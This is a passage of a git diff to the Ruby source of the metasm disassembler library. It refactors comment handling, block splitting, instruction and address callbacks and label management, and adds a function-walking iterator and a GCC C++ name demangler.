   # returns the canonical form of addr (absolute address integer or label of start of section + section offset)
@@ -568,6 +594,7 @@ class Disassembler
   end
 
   # returns a hash associating addr => list of labels at this addr
+  # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name
   def label_alias
     if not @label_alias_cache
       @label_alias_cache = {}
@@ -622,17 +649,16 @@ class Disassembler
       if not f.finalized
         f.finalized = true
 puts "  finalize subfunc #{Expression[addr]}" if debug_backtrace
-        @cpu.backtrace_update_function_binding(self, addr, f, f.return_address)
+        backtrace_update_function_binding(addr, f)
         if not f.return_address
           detect_function_thunk(addr)
         end
       end
-      @comment[addr] ||= []
       bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown }
       unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact
       bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty?
-      @comment[addr] |= ["function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')]
-      @comment[addr] |= ["function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')] if f.return_address
+      add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', '))
+      add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address
     }
   end
 
@@ -658,7 +684,7 @@ puts "  finalize subfunc #{Expression[addr]}" if debug_backtrace
         next if not f = @function[subfunc] or f.finalized
         f.finalized = true
 puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
-        @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address)
+        backtrace_update_function_binding(subfunc, f)
         if not f.return_address
           detect_function_thunk(subfunc)
         end
@@ -667,7 +693,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
 
     if di = @decoded[addr]
       if di.kind_of? DecodedInstruction
-        split_block(di.block, di.address) if not di.block_head?	# this updates di.block
+        split_block(di.block, di.address, true) if not di.block_head?	# this updates di.block
         di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default
         bf = di.block
       elsif di == true
@@ -726,20 +752,22 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
   end
 
   # splits an InstructionBlock, updates the blocks backtracked_for
-  def split_block(block, address=nil)
+  def split_block(block, address=nil, rebacktrace=false)
     if not address	# invoked as split_block(0x401012)
       return if not @decoded[block].kind_of? DecodedInstruction
       block, address = @decoded[block].block, block
     end
     return block if address == block.address
     new_b = block.split address
-    new_b.backtracked_for.dup.each { |btt|
-      backtrace(btt.expr, btt.address,
-          :only_upto => block.list.last.address,
-          :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret,
-          :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len,
-          :detached => btt.detached, :maxdepth => btt.maxdepth)
-    }
+    if rebacktrace
+      new_b.backtracked_for.dup.each { |btt|
+        backtrace(btt.expr, btt.address,
+            :only_upto => block.list.last.address,
+            :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret,
+            :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len,
+            :detached => btt.detached, :maxdepth => btt.maxdepth)
+      }
+    end
     new_b
   end
 
@@ -763,8 +791,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
         each_xref(waddr, :w) { |x|
           #next if off + x.len < 0
           puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE
-          @comment[di_addr] ||= []
-          @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"]
+          add_comment(di_addr, "overwritten by #{@decoded[x.origin]}")
           @callback_selfmodifying[di_addr] if callback_selfmodifying
           return
         }
@@ -775,6 +802,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       block.edata.ptr = di_addr - block.address + block.edata_ptr
       if not di = @cpu.decode_instruction(block.edata, di_addr)
         ed = block.edata
+        break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last
         puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE
         return
       end
@@ -783,7 +811,18 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       block.add_di di
       puts di if $DEBUG
 
-      di = @callback_newinstr[di] if callback_newinstr
+      if callback_newinstr
+        ndi = @callback_newinstr[di]
+        if not ndi or not ndi.block
+          block.list.delete di
+          if ndi
+            block.add_di ndi
+            ndi.bin_length = di.bin_length if ndi.bin_length == 0
+            @decoded[di_addr] = ndi
+          end
+        end
+        di = ndi
+      end
       return if not di
       block = di.block
 
@@ -793,7 +832,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
 
       if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty?
         # do not backtrace until delay slot is finished (eg MIPS: di is a
-               #  ret and the delay slot holds stack fixup needed to calc func_binding)
+        #  ret and the delay slot holds stack fixup needed to calc func_binding)
         # XXX if the delay slot is also xref_x or :stopexec it is ignored
         delay_slot ||= [di, @cpu.delay_slot(di)]
       end
@@ -835,6 +874,8 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
     @entrypoints |= entrypoints
 
     entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) }
+
+    @callback_finished[] if callback_finished
   end
 
   def do_disassemble_fast_deep(ep)
@@ -896,8 +937,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       }
       if func
         auto_label_at(addr, 'sub', 'loc', 'xref')
-        # XXX use default_btbind_callback ?
-        @function[addr] = DecodedFunction.new
+        @function[addr] = (@function[:default] || DecodedFunction.new).dup
         @function[addr].finalized = true
         detect_function_thunk(addr)
         puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE
@@ -909,7 +949,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
   # does not recurse into subfunctions
   # assumes all :saveip returns, except those pointing to a subfunc with noreturn
   # yields subfunction addresses (targets of :saveip)
-  # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret)
+  # no backtrace for :x (change with backtrace_maxblocks_fast)
   # returns a todo-style ary
   # assumes @addrs_todo is empty
   def disassemble_fast_block(block, &b)
@@ -927,6 +967,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       # decode instruction
       block.edata.ptr = di_addr - block.address + block.edata_ptr
       if not di = @cpu.decode_instruction(block.edata, di_addr)
+        break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last
         return ret
       end
 
@@ -934,7 +975,18 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       block.add_di di
       puts di if $DEBUG
 
-      di = @callback_newinstr[di] if callback_newinstr
+      if callback_newinstr
+        ndi = @callback_newinstr[di]
+        if not ndi or not ndi.block
+          block.list.delete di
+          if ndi
+            block.add_di ndi
+            ndi.bin_length = di.bin_length if ndi.bin_length == 0
+            @decoded[di_addr] = ndi
+          end
+        end
+        di = ndi
+      end
       return ret if not di
 
       di_addr = di.next_addr
@@ -942,7 +994,9 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       if di.opcode.props[:stopexec] or di.opcode.props[:setip]
         if di.opcode.props[:setip]
           @addrs_todo = []
-          @program.get_xrefs_x(self, di).each { |expr|
+          ar = @program.get_xrefs_x(self, di)
+          ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr
+          ar.each { |expr|
             backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast)
           }
         end
@@ -965,8 +1019,13 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
       end
     }
 
-    di.block.add_to_normal(di_addr)
-    ret << [di_addr, di.address]
+    ar = [di_addr]
+    ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr
+    ar.each { |a|
+      di.block.add_to_normal(a)
+      ret << [a, di.address]
+    }
+    ret
   end
 
   # handles when disassemble_fast encounters a call to a subfunction
@@ -1037,7 +1096,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
     count = 0
     while b = block_at(addr)
       count += 1
-      return if count > 5 or b.list.length > 4
+      return if count > 5 or b.list.length > 5
       if b.to_subfuncret and not b.to_subfuncret.empty?
         return if b.to_subfuncret.length != 1
         addr = normalize(b.to_subfuncret.first)
@@ -1047,7 +1106,7 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
         return if not btb = sf.backtrace_binding
         btb = btb.dup
         btb.delete_if { |k, v| Expression[k] == Expression[v] }
-               return if btb.length > 2 or btb.values.include? Expression::Unknown
+        return if btb.length > 2 or btb.values.include? Expression::Unknown
       else
         return if not bt = b.to_normal
         if bt.include? :default
@@ -1291,6 +1350,88 @@ puts "  finalize subfunc #{Expression[subfunc]}" if debug_backtrace
     end
   end
 
+  # iterates over all instructions of a function from a given entrypoint
+  # carries an object while walking, the object is yielded every instruction
+  # every block is walked only once, after all previous blocks are done (if possible)
+  # on a 'jz', a [:clone] event is yielded for every path beside the first
+  # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs
+  # event list:
+  #  [:di, <addr>, <decoded_instruction>, <object>]
+  #  [:clone, <newaddr>, <oldaddr>, <object>]
+  #  [:merge, <newaddr>, {<oldaddr1> => <object1>, <oldaddr2> => <object2>, ...}, <object1>]
+  #  [:subfunc, <subfunc_addr>, <call_addr>, <object>]
+  # all events should return an object
+  # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1]
+  # if an event returns false, the trace stops for the current branch
+  def function_walk(addr_start, obj_start)
+    # addresses of instrs already seen => obj
+    done = {}
+    todo = [[addr_start, obj_start]]
+
+    while hop = todo.pop
+      addr, obj = hop
+      next if done.has_key?(done)
+
+      di = di_at(addr)
+      next if not di
+
+      if done.empty?
+        dilist = di.block.list[di.block.list.index(di)..-1]
+      else
+        # new block, check all 'from' have been seen
+        if not hop[2]
+          # may retry later
+          all_ok = true
+          di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) }
+          if not all_ok
+            todo.unshift([addr, obj, true])
+            next
+          end
+        end
+
+        froms = {}
+        di.block.each_from_samefunc(self) { |fa| froms[fa] = done[fa] if done[fa] }
+        if froms.values.uniq.length > 1
+          obj = yield([:merge, addr, froms, froms.values.first])
+          next if obj == false
+        end
+
+        dilist = di.block.list
+      end
+
+      if dilist.each { |_di|
+          break if done.has_key?(_di.address)	# looped back into addr_start
+          done[_di.address] = obj
+          obj = yield([:di, _di.address, _di, obj])
+          break if obj == false	# also return false for the previous 'if'
+        }
+
+        from = dilist.last.address
+
+        if di.block.to_normal and di.block.to_normal[0] and
+            di.block.to_subfuncret and di.block.to_subfuncret[0]
+          # current instruction block calls into a subfunction
+          obj = di.block.to_normal.map { |subf|
+            yield([:subfunc, subf, from, obj])
+          }.first		# propagate 1st subfunc result
+          next if obj == false
+        end
+
+        wantclone = false
+        di.block.each_to_samefunc(self) { |ta|
+          if wantclone
+            nobj = yield([:clone, ta, from, obj])
+            next if obj == false
+            todo << [ta, nobj]
+          else
+            todo << [ta, obj]
+            wantclone = true
+          end
+        }
+      end
+    end
+  end
+
   # holds a backtrace result until a snapshot_addr is encountered
   class StoppedExpr
     attr_accessor :exprs
@@ -1356,7 +1497,7 @@ puts "  not backtracking stack address #{expr}" if debug_backtrace
     end
 
     if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr,
-        di, origin, type, len, maxdepth, detached))
+        di, origin, type, len, maxdepth, detached, snapshot_addr))
       # no need to update backtracked_for
       return vals
     elsif maxdepth <= 0
@@ -1396,7 +1537,7 @@ puts "  backtrace up #{Expression[h[:addr]]}  #{oldexpr}#{" => #{expr}" if expr
           if expr != oldexpr and not snapshot_addr and vals = (no_check ?
               (!need_backtrace(expr, terminals) and [expr]) :
               backtrace_check_found(expr, nil, origin, type, len,
-                maxdepth-h[:loopdetect].length, detached))
+                maxdepth-h[:loopdetect].length, detached, snapshot_addr))
             result |= vals
             next
           end
@@ -1437,7 +1578,7 @@ puts "  backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]}  #{oldexpr}#
 
         if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) :
             backtrace_check_found(expr, @decoded[h[:from]], origin, type, len,
-              maxdepth-h[:loopdetect].length, detached))
+              maxdepth-h[:loopdetect].length, detached, snapshot_addr))
           if snapshot_addr
             expr = StoppedExpr.new vals
             next expr
@@ -1498,7 +1639,7 @@ oldexpr = expr
         when :func
           expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length)
           if snapshot_addr and snapshot_addr == h[:funcaddr]
-            # XXX recursiveness detection needs to be fixed						
+            # XXX recursiveness detection needs to be fixed
 puts "  backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace
             next false
           end
@@ -1506,7 +1647,7 @@ puts "  backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_back
         end
 puts "  backtrace #{h[:di] || Expression[h[:funcaddr]]}  #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr
         if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr,
-            h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached))
+            h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr))
           if snapshot_addr
             expr = StoppedExpr.new vals
           else
@@ -1588,10 +1729,14 @@ puts "  backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if
     (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr
   end
 
+  def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address)
+    @cpu.backtrace_update_function_binding(self, addr, func, retaddrs)
+  end
+
   # static resolution of indirections
   def resolve(expr)
     binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind|
-      e, b = get_section_at(resolve(ind.target))
+      e = get_edata_at(resolve(ind.target))
       return expr if not e
       binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ]
     }
@@ -1619,7 +1764,7 @@ puts "  backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if
   # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names
   # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX
   #  eg. mov eax, 42 ; add eax, 4 ; jmp eax  =>  mov eax, some_label-4
-  def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached)
+  def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil)
     # only entrypoints or block starts called by a :saveip are checked for being a function
     # want to execute [esp] from a block start
     if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and (
@@ -1649,11 +1794,14 @@ puts "  backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if
     end
 
     return if need_backtrace(expr)
+    if snapshot_addr
+      return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) }
+    end
 
 puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace
     result = backtrace_value(expr, maxdepth)
     # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this)
-    result << expr if not type
+    #result << expr if not type	# XXX returning multiple values for nothing is too confusing, TODO fix decompiler
     result.uniq!
 
     # create xrefs/labels
@@ -1695,7 +1843,7 @@ puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expr
     ret = []
 
     decode_imm = lambda { |addr, len|
-      edata, foo = get_section_at(addr)
+      edata = get_edata_at(addr)
       if edata
         Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ]
       else
@@ -1803,7 +1951,7 @@ puts "   backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra
     # TODO trace expression evolution to allow handling of
     #  mov eax, 28 ; add eax, 4 ; jmp eax
     #  => mov eax, (loc_xx-4)
-    if di and not unk # and di.address == origin
+    if di and not unk and expr != n # and di.address == origin
       @cpu.replace_instr_arg_immediate(di.instruction, expr, n)
     end
     if @decoded[origin] and not unk
@@ -1850,6 +1998,10 @@ puts "   backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra
     end
   end
 
+  def inspect
+    "<Metasm::Disassembler @%x>" % object_id
+  end
+
   def to_s
     a = ''
     dump { |l| a << l << "\n" }
@@ -1916,7 +2068,7 @@ puts "   backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra
     if not xr.empty?
       b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"]
     end
-    if block.edata.inv_export[block.edata_ptr]
+    if block.edata.inv_export[block.edata_ptr] and label_alias[block.address]
       b["\n"] if xr.empty?
       label_alias[block.address].each { |name| b["#{name}:"] }
     end
@@ -1933,8 +2085,8 @@ puts "   backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra
   # TODO array-style data access
   def dump_data(addr, edata, off, &b)
     b ||= lambda { |l| puts l }
-    if l = edata.inv_export[off]
-      l_list = label_alias[addr].to_a.sort
+    if l = edata.inv_export[off] and label_alias[addr]
+      l_list = label_alias[addr].sort
       l = l_list.pop || l
       l_list.each { |ll|
         b["#{ll}:"]
diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb
index aeef221eb2..416988a806 100644
--- a/lib/metasm/metasm/disassemble_api.rb
+++ b/lib/metasm/metasm/disassemble_api.rb
@@ -99,6 +99,28 @@ class InstructionBlock
       yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to]
     }
   end
+
+  # returns the array used in each_from_samefunc
+  def from_samefunc(dasm)
+    ary = []
+    each_from_samefunc(dasm) { |a| ary << a }
+    ary
+  end
+  def from_otherfunc(dasm)
+    ary = []
+    each_from_otherfunc(dasm) { |a| ary << a }
+    ary
+  end
+  def to_samefunc(dasm)
+    ary = []
+    each_to_samefunc(dasm) { |a| ary << a }
+    ary
+  end
+  def to_otherfunc(dasm)
+    ary = []
+    each_to_otherfunc(dasm) { |a| ary << a }
+    ary
+  end
 end
 
 class DecodedInstruction
@@ -111,44 +133,6 @@ end
 class CPU
   # compat alias, for scripts using older version of metasm
   def get_backtrace_binding(di) backtrace_binding(di) end
-
-  # return something like backtrace_binding in the forward direction
-  # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer
-  def get_fwdemu_binding(di, pc_reg=nil)
-    fdi = di.backtrace_binding ||= get_backtrace_binding(di)
-    # find self-updated regs & revert them in simultaneous affectations
-    # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42  jz foobar)
-    fdi.keys.grep(::Symbol).each { |s|
-      val = Expression[fdi[s]]
-      next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer
-      fwd = { s => val }
-      inv = { s => val.dup }
-      inv[s].op = ((inv[s].op == :+) ? :- : :+)
-      nxt = {}
-      fdi.each { |k, v|
-        if k == s
-          nxt[k] = v
-        else
-          k = k.bind(fwd).reduce_rec if k.kind_of? Indirection
-          nxt[k] = Expression[Expression[v].bind(inv).reduce_rec]
-        end
-      }
-      fdi = nxt
-    }
-    if pc_reg
-      if di.opcode.props[:setip]
-        xr = get_xrefs_x(nil, di)
-        if xr and xr.length == 1
-          fdi[pc_reg] = xr[0]
-        else
-          fdi[:incomplete_binding] = Expression[1]
-        end
-      else
-        fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length]
-      end
-    end
-    fdi
-  end
 end
 
 class Disassembler
@@ -156,11 +140,16 @@ class Disassembler
   def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end
   def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end
 
-  # returns the dasm section's edata containing addr
-  # its #ptr points to addr
-  # returns the 1st element of #get_section_at
-  def get_edata_at(addr)
-    if s = get_section_at(addr)
+  # adds a commentary at the given address
+  # comments are found in the array @comment: {addr => [list of strings]}
+  def add_comment(addr, cmt)
+    @comment[addr] ||= []
+    @comment[addr] |= [cmt]
+  end
+
+  # returns the 1st element of #get_section_at (ie the edata at a given address) or nil
+  def get_edata_at(*a)
+    if s = get_section_at(*a)
       s[0]
     end
   end
@@ -209,12 +198,12 @@ class Disassembler
 
   # yields every InstructionBlock
   # returns the list of IBlocks
-  def each_instructionblock
+  def each_instructionblock(&b)
     ret = []
     @decoded.each { |addr, di|
       next if not di.kind_of? DecodedInstruction or not di.block_head?
       ret << di.block
-      yield di.block if block_given?
+      b.call(di.block) if b
     }
     ret
   end
@@ -293,18 +282,19 @@ class Disassembler
 
   # returns the label associated to an addr, or nil if none exist
   def get_label_at(addr)
-    e, b = get_section_at(addr, false)
+    e = get_edata_at(addr, false)
     e.inv_export[e.ptr] if e
   end
 
   # sets the label for the specified address
   # returns nil if the address is not mapped
   # memcheck is passed to get_section_at to validate that the address is mapped
-  def set_label_at(addr, name, memcheck=true)
+  # keep existing label if 'overwrite' is false
+  def set_label_at(addr, name, memcheck=true, overwrite=true)
     addr = Expression[addr].reduce
     e, b = get_section_at(addr, memcheck)
     if not e
-    elsif not l = e.inv_export[e.ptr]
+    elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name)
       l = @program.new_label(name)
       e.add_export l, e.ptr
       @label_alias_cache = nil
@@ -317,7 +307,7 @@ class Disassembler
 
   # remove a label at address addr
   def del_label_at(addr, name=get_label_at(addr))
-    ed, b = get_section_at(addr)
+    ed = get_edata_at(addr)
     if ed and ed.inv_export[ed.ptr]
       ed.del_export name, ed.ptr
       @label_alias_cache = nil
@@ -325,6 +315,7 @@ class Disassembler
     each_xref(addr) { |xr|
       next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable
       o.each_expr { |e|
+        next unless e.kind_of?(Expression)
         e.lexpr = addr if e.lexpr == name
         e.rexpr = addr if e.rexpr == name
       }
@@ -337,12 +328,14 @@ class Disassembler
   # returns the new label
   # the new label must be program-uniq (see @program.new_label)
   def rename_label(old, new)
+    return new if old == new
+    raise "label #{new.inspect} exists" if @prog_binding[new]
     each_xref(normalize(old)) { |x|
       next if not di = @decoded[x.origin]
       @cpu.replace_instr_arg_immediate(di.instruction, old, new)
       di.comment.to_a.each { |c| c.gsub!(old, new) }
     }
-    e, l = get_section_at(old, false)
+    e = get_edata_at(old, false)
     if e
       e.add_export new, e.export.delete(old), true
     end
@@ -499,12 +492,12 @@ class Disassembler
   # if from..to spans multiple blocks
   #  to.block is splitted after to
   #  all path from from are replaced by a single link to after 'to', be careful !
- 	#   (eg a->b->... & a->c ; from in a, to in c => a->b is lost)
+  #   (eg a->b->... & a->c ; from in a, to in c => a->b is lost)
   #  all instructions are stuffed in the first block
   #  paths are only walked using from/to_normal
   # 'by' may be empty
   # returns the block containing the new instrs (nil if empty)
-  def replace_instrs(from, to, by)
+  def replace_instrs(from, to, by, patch_by=false)
     raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi)
     raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi)
 
@@ -520,14 +513,28 @@ class Disassembler
     wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length }
     ldi = by.last
     ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction
-    wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip])
-    by.map! { |di|
-      if di.kind_of? Instruction
-        di = DecodedInstruction.new(di)
-        wantlen -= di.bin_length = wantlen / by.grep(Instruction).length
-      end
-      di
-    }
+    nb_i = by.grep(Instruction).length
+    wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip])
+    if patch_by
+      by.map! { |di|
+        if di.kind_of? Instruction
+          di = DecodedInstruction.new(di)
+          wantlen -= di.bin_length = wantlen / by.grep(Instruction).length
+          nb_i -= 1
+        end
+        di
+      }
+    else
+      by = by.map { |di|
+        if di.kind_of? Instruction
+          di = DecodedInstruction.new(di)
+          wantlen -= (di.bin_length = wantlen / nb_i)
+          nb_i -= 1
+        end
+        di
+      }
+    end
+
 
 #puts "  ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip]
     by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip]
@@ -649,8 +656,8 @@ class Disassembler
     if b1 and not b1.kind_of? InstructionBlock
       return if not b1 = block_at(b1)
     end
- 		if b2 and not b2.kind_of? InstructionBlock
- 			return if not b2 = block_at(b2)
+    if b2 and not b2.kind_of? InstructionBlock
+      return if not b2 = block_at(b2)
     end
     if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and
         b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and	# that handles delay_slot
@@ -720,17 +727,23 @@ class Disassembler
   end
 
   # returns a demangled C++ name
+  def demangle_cppname(name)
+    case name[0]
+    when ??	# MSVC
+      name = name[1..-1]
+      demangle_msvc(name[1..-1]) if name[0] == ??
+    when ?_
+      name = name.sub(/_GLOBAL__[ID]_/, '')
+      demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z'
+    end
+  end
+
   # from wgcc-2.2.2/undecorate.cpp
   # TODO
-  def demangle_cppname(name)
-    ret = name
-    if name[0] == ??
-      name = name[1..-1]
-      if name[0] == ??
-        name = name[1..-1]
-        op = name[0, 1]
-        op = name[0, 2] if op == '_'
-        if op = {
+  def demangle_msvc(name)
+    op = name[0, 1]
+    op = name[0, 2] if op == '_'
+    if op = {
   '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=",
   'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&",
   'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",",
@@ -743,11 +756,157 @@ class Disassembler
   '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'",
   '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]",
   '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op]
-          ret = op[0] == ?` ? op[1..-2] : "op_#{op}"
+      op[0] == ?` ? op[1..-2] : "op_#{op}"
+    end
+  end
+
+  # from http://www.codesourcery.com/public/cxx-abi/abi.html
+  def demangle_gcc(name)
+    subs = []
+    ret = ''
+    decode_tok = lambda {
+      name ||= ''
+      case name[0]
+      when nil
+        ret = nil
+      when ?N
+        name = name[1..-1]
+        decode_tok[]
+        until name[0] == ?E
+          break if not ret
+          ret << '::'
+          decode_tok[]
+        end
+        name = name[1..-1]
+      when ?I
+        name = name[1..-1]
+        ret = ret[0..-3] if ret[-2, 2] == '::'
+        ret << '<'
+        decode_tok[]
+        until name[0] == ?E
+          break if not ret
+          ret << ', '
+          decode_tok[]
+        end
+        ret << ' ' if ret and ret[-1] == ?>
+        ret << '>' if ret
+        name = name[1..-1]
+      when ?T
+        case name[1]
+        when ?T; ret << 'vtti('
+        when ?V; ret << 'vtable('
+        when ?I; ret << 'typeinfo('
+        when ?S; ret << 'typename('
+        else ret = nil
+        end
+        name = name[2..-1].to_s
+        decode_tok[] if ret
+        ret << ')' if ret
+        name = name[1..-1] if name[0] == ?E
+      when ?C
+        name = name[2..-1]
+        base = ret[/([^:]*)(<.*|::)?$/, 1]
+        ret << base
+      when ?D
+        name = name[2..-1]
+        base = ret[/([^:]*)(<.*|::)?$/, 1]
+        ret << '~' << base
+      when ?0..?9
+        nr = name[/^[0-9]+/]
+        name = name[nr.length..-1].to_s
+        ret << name[0, nr.to_i]
+        name = name[nr.to_i..-1]
+        subs << ret[/[\w:]*$/]
+      when ?S
+        name = name[1..-1]
+        case name[0]
+        when ?_, ?0..?9, ?A..?Z
+          case name[0]
+          when ?_; idx = 0 ; name = name[1..-1]
+          when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1]
+          when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1]
+          end
+          if not subs[idx]
+            ret = nil
+          else
+            ret << subs[idx]
+          end
+        when ?t
+          ret << 'std::'
+          name = name[1..-1]
+          decode_tok[]
+        else
+          std = { ?a => 'std::allocator',
+            ?b => 'std::basic_string',
+            ?s => 'std::string', # 'std::basic_string < char, std::char_traits<char>, std::allocator<char> >',
+            ?i => 'std::istream', # 'std::basic_istream<char,  std::char_traits<char> >',
+            ?o => 'std::ostream', # 'std::basic_ostream<char,  std::char_traits<char> >',
+            ?d => 'std::iostream', # 'std::basic_iostream<char, std::char_traits<char> >'
+          }[name[0]]
+          if not std
+            ret = nil
+          else
+            ret << std
+          end
+          name = name[1..-1]
+        end
+      when ?P, ?R, ?r, ?V, ?K
+        attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]]
+        name = name[1..-1]
+        rl = ret.length
+        decode_tok[]
+        if ret
+          ret << attr
+          subs << ret[rl..-1]
+        end
+      else
+        if ret =~ /[(<]/ and ty = {
+      ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char',
+      ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int',
+      ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64',
